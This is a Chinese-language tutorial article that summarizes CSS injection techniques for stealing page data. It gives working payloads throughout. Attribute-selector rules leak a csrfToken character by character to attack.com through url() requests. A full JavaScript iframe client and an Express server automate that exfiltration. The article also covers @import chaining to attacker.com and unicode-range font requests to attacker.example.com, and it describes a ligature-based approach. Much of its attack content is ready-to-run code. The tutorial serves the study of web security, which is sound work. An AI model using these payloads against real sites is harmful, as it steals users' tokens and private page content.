CSS injection 知识总结
GPT4.0+Midjourney绘画+国内大模型 会员永久免费使用!
【 如果你想靠AI翻身,你先需要一个靠谱的工具! 】
现代浏览器都已不允许在CSS中执行JavaScript了,以前的CSS注入可以利用JavaScript协议在 url() 、 expression() 中执行Javascript代码从而实现XSS。但是目前CSS注入在窃取数据方面仍然是非常有用的,下面分别来分析一下。
CSS 注入 窃取标签属性数据
CSS中可以使用属性选择器,根据不同的属性选择标签。比如下面CSS选择含有a属性且其值为abc的p标签。
属性选择器还可以匹配值的一些特性,比如以XXX开头、以XXX结尾等。
利用上面的性质我们可以用来窃取页面标签属性中的数据。比如下面当csrfToken以某个字母开头时,就可以通过 url() 通知攻击者,从而窃取csrfToken的第一位的值。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | <style> input[value^= "0" ] { background : url (http://attack.com/ 0 ); } input[value^= "1" ] { background : url (http://attack.com/ 1 ); } input[value^= "2" ] { background : url (http://attack.com/ 2 ); } ... input[value^= "Y" ] { background : url (http://attack.com/Y); } input[value^= "Z" ] { background : url (http://attack.com/Z); } </style> <input name= "csrfToken" value= "ZTU1MzE1YjRiZGQMRmNjYwMTAzYjk4YjhjNGI0ZA==" > |
第一位是Z,接着窃取第二位
1 2 3 4 5 6 7 8 9 10 | <style> input[value^= "Z0" ] { background : url (http://attack.com/ 0 ); } ... input[value^= "ZZ" ] { background : url (http://attack.com/Z); } </style> <input name= "csrfToken" value= "ZTU1MzE1YjRiZGQMRmNjYwMTAzYjk4YjhjNGI0ZA==" > |
解决hidden
当然还有个问题, 当标签 type=hidden
时浏览器是不允许我们设置background
的,这样就无法触发 url() 请求服务器。
解决方法之一是利用 ~ CSS的兄弟选择器,选择为后续所有兄弟节点设置background。
批量实现
当然,如果位数比较短且可能性比较少我们可以将其所有都列出来,但是通常都太多了,所以我们需要利用技巧批量得到。
假设目标存在css注入的网站为如下, 目标是窃取input标签中的csrfToken值。
1 2 3 4 5 6 7 8 9 10 11 | <!DOCTYPE html> < html > < head > < title >CSS injection</ title > </ head > < body > < input type = hidden name = "csrfToken" value=<?=md5(date("h"))?>> < input type = "" name = "" > < style ><? php echo $_GET['css']?></ style > </ body > </ html > |
有iframe
当存在CSS注入的网站响应头未被 X-Frame-Options
保护时, 我们可以创建一个恶意的页面,利用js创建iframe包含该漏洞网站,利用css注入获得一位csrfToken值后通过 url()
提交给服务器,服务器指示前端js继续创建iframe窃取第二位值,继续上面的操作,直到全部读取完。当然这要求每次请求漏洞网站内容都不会变。
这里存在一个问题,服务器如何指示前端js构造css,就像我们上面举得例子窃取到第一位为Z, 那么第二位的payload应该是Z开头的。
下面的payload 来自这里 https://medium.com/bugbountywriteup/exfiltration-via-css-injection-4e999f63097d
它的思路是前端js使用setTimeout定时请求服务器,服务器将css注入得到的token返回。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 | < html > < style > #frames { visibility: hidden; } </ style > < body > < div id = "current" ></ div > < div id = "time_to_next" ></ div > < div id = "frames" ></ div > </ body > < script > vuln_url = 'http://127.0.0.1:8084/vuln.php?css='; server_receive_token_url = 'http://127.0.0.1:8083/receive/'; server_return_token_url = 'http://127.0.0.1:8083/return'; chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".split(""); known = ""; function test_char(known, chars) { // Remove all the frames document.getElementById("frames").innerHTML = ""; // Append the chars with the known chars css = build_css(chars.map(v => known + v)); // Create an iframe to try the attack. If `X-Frame-Options` is blocking this you could use a new tab... frame = document.createElement("iframe"); frame.src = vuln_url + css; frame.style="visibility: hidden;"; //gotta be sneaky sneaky like document.getElementById("frames").appendChild(frame); // in 1 seconds, after the iframe loads, check to see if we got a response yet setTimeout(function() { var oReq = new XMLHttpRequest(); oReq.addEventListener("load", known_listener); oReq.open("GET", server_return_token_url); oReq.send(); }, 1000); } function build_css(values) { css_payload = ""; for(var value in values) { css_payload += "input[value^=\"" + values[value] + "\"]~*{background-image:url(" + server_receive_token_url + values[value] + ")%3B}"; //can't use an actual semicolon because that has a meaning in a url } return css_payload; } function known_listener () { document.getElementById("current").innerHTML = "Current Token: " + this.responseText; if(known != this.responseText) { known = this.responseText; test_char(known, chars); } else { known = this.responseText; alert("CSRF token is: " + known); } } test_char("", chars); </ script > </ html > |
服务器代码是我配合它的payload写得。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | var express = require( 'express' ); var app = express(); var path = require( 'path' ); var token = "" ; app.get( '/receive/:token' , function (req, res) { token = req.params.token; console.log(token) res.send( 'ok' ); }); app.get( '/return' , function (req, res){ res.send(token); }); app.get( '/client.html' , function (req, res){ res.sendFile(path.join(__dirname, 'client.html' )); }) var server = app.listen(8083, function () { var host = server.address().address var port = server.address().port console.log( "Example app listening at http://%s:%s" , host, port) }) |
还有 师傅 通过服务器将token写入到cookie中, 定时查询cookie是否改变来实现的。
还发现有师傅用websocket实现更优雅一些。 https://gist.github.com/cgvwzq/f7c55222fbde44fc686b17f745d0e1aa
无 iframe
https://github.com/dxa4481/cssInjection 这里介绍了一种无iframe注入的方法。
原理也很简单,既然不能用iframe引入漏洞页面,那么我们可以通过 window.open
不断开启一个新的窗口,也就可以完成上述类似的效果。当然这种方法得劫持用户的点击行为,否则浏览器会禁止开启新窗口。
而且这篇文章还提出了无后台服务器的方案,利用service workers
拦截客户端请求将获取到的token值同时存在本地localstorage中。
@import
利用 @import 在chrome中的特性,https://medium.com/@d0nut/better-exfiltration-via-html-injection-31c72a2dae8b 这篇文章提出的这种方法。这种方法有种好处就是 不会刷新页面就可以拿到全部token 而且不需要iframe,但坏处就是只能用在chrome中,而且根据它的特性必须在样式标签头部有注入才行。
除了常见的 <link>
标签引入外部样式,css还可以通过 @import
。
@import url(http://style.com/css.css);
但是 @import 必须在样式表头部最先声明,并且分号是必须的。 @import
引入的样式表会直接替换对应的内联样式。
chrome在实现上述效果时,在每次 @import 外部样式表 返回后 都重新计算了一遍页面的其他的样式表,我们可以利用这个特性嵌套 @import 使用一个请求便获取到整个token
这是他文章中的一个图,很形象。
这图假定要窃取的数据长度为3,第一次注入的css内容为 @import url(http://attacker.com/staging); ,它返回了
@import url(http://attacker.com/polling?len=0);
@import url(http://attacker.com/polling?len=1);
@import url(http://attacker.com/polling?len=2);
这时页面又要获取 @import url(http://attacker.com/polling?len=0);
样式表,而它返回的是窃取token的payload。
当将已窃取数据发送到服务器后, @import url(http://attacker.com/polling?len=1);
才会响应。响应的是窃取的第二位数据的payload....
而且那篇文章还开源了一个工具利用这个漏洞,用起来非常简单。
https://github.com/d0nutptr/sic
窃取标签content数据
窃取标签content数据相对来说就麻烦很多,去年xctf final就有一道题。
利用 unicode-range 猜测
根据https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html这位师傅的思路,可以通过指定 @font-face
的字体描述unicode-range
,当存在某个字符时就通知服务器。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | < style > @font-face{ font-family:poc; src: url(http://attacker.example.com/?A); /* fetched */ unicode-range:U+0041; } @font-face{ font-family:poc; src: url(http://attacker.example.com/?B); /* fetched too */ unicode-range:U+0042; } @font-face{ font-family:poc; src: url(http://attacker.example.com/?C); /* not fetched */ unicode-range:U+0043; } #sensitive-information{ font-family:poc; } </ style > < p id = "sensitive-information" >AB</ p > |
当然这只能知道含有那些字符,而且当字符一多就没有意义了。不过这也是个不错的思路,在某些特定情况下可能有用。
利用连字(Ligature)
去年xctf师傅们的 题解 用的就是这个方法。
连字简而言之就是几个字符的合体字,更多自行百度。在这里我们可以自己创建一个字体,其中所有字符宽度设为0,将 flag 这个连字的宽度设置非常大,此时指定标签content中如果出现了flag
字符串就会因为宽度的原因出现滚动条,检测出现滚动条时用 url() 请求服务器。
这样我们就可以不断向后猜测了,详细的创建字体、payload 这里 已经提供了。
总结
到此这篇关于CSS injection 知识总结的文章就介绍到这了,更多相关CSS injection内容请搜索脚本之家以前的文章或继续浏览下面的相关文章,希望大家以后多多支持脚本之家!
相关文章
如何使用CSS的object-position实现图片在img标签中的定位
该文章介绍了CSS中的object-position属性,用于精确控制替换元素在容器内的位置,通过指定水平和垂直方向的偏移量,可以实现精准定位2024-11-08- 文章主要探讨了CSS Grid布局在Internet Explorer(IE)中的不兼容问题,并提供了具体的解决方案和最佳实践,文章首先介绍了CSS Grid布局的基本概念和与传统布局方法的区别,然2024-11-08
- 本文介绍了CSS实现圆角渐变边框的方法,首先设置元素边框为1像素宽度,样式为实线,颜色为透明,然后设置元素边框圆角为10像素,再设置背景剪裁区域和背景绘制区域为内边距和边2024-10-29
- 在CSS布局中,实现元素左右排列有多种方式,Flex布局通过设置margin-left:auto或margin-right:auto实现元素靠右或靠左排列,Grid布局利用grid-template-columns和justify-self2024-10-29
- 在CSS中,隐藏滚动条同时保留滚动功能可以通过设置overflow属性和使用特定的CSS伪元素实现,例如,使用::-webkit-scrollbar针对WebKit浏览器,-ms-overflow-style适用于IE和Edg2024-10-29
- 本文详细介绍了CSS中的border属性及其相关特性,包括border-width(宽度)、border-style(样式)和border-color(颜色)等,此外,还讲述了如何独立控制元素的四个边的边框,2024-10-28
- 本文主要介绍了在网页开发中如何实现“回到顶部”的功能,通过HTML和CSS的编写,可以实现一个浮动在页面右下角的小图标,点击后即可回到页面顶部,这种设计可以提高网站的可用2024-10-28
- 盒子模型是网页布局的基础,包括边框、外边距、内边距和实际内容,通过CSS可以控制盒子之间的距离及其外观,如边框样式、边框颜色等,重要属性包括padding和margin,分别控制内2024-10-18
- 盒子模型是网页布局的基础,包括边框、外边距、内边距和实际内容,通过CSS可以控制盒子之间的距离及其外观,如边框样式、边框颜色等,重要属性包括padding和margin,分别控制内2024-10-18
CSS使用filter和backdrop-filter实现高斯模糊效果(示例代码)
本文详细介绍了CSS3中的两个实现高斯模糊效果的API:filter和backdrop-filter,filter可以直接在图像或背景图上添加多种效果,而backdrop-filter则用于在元素后的区域添加效2024-09-26
最新评论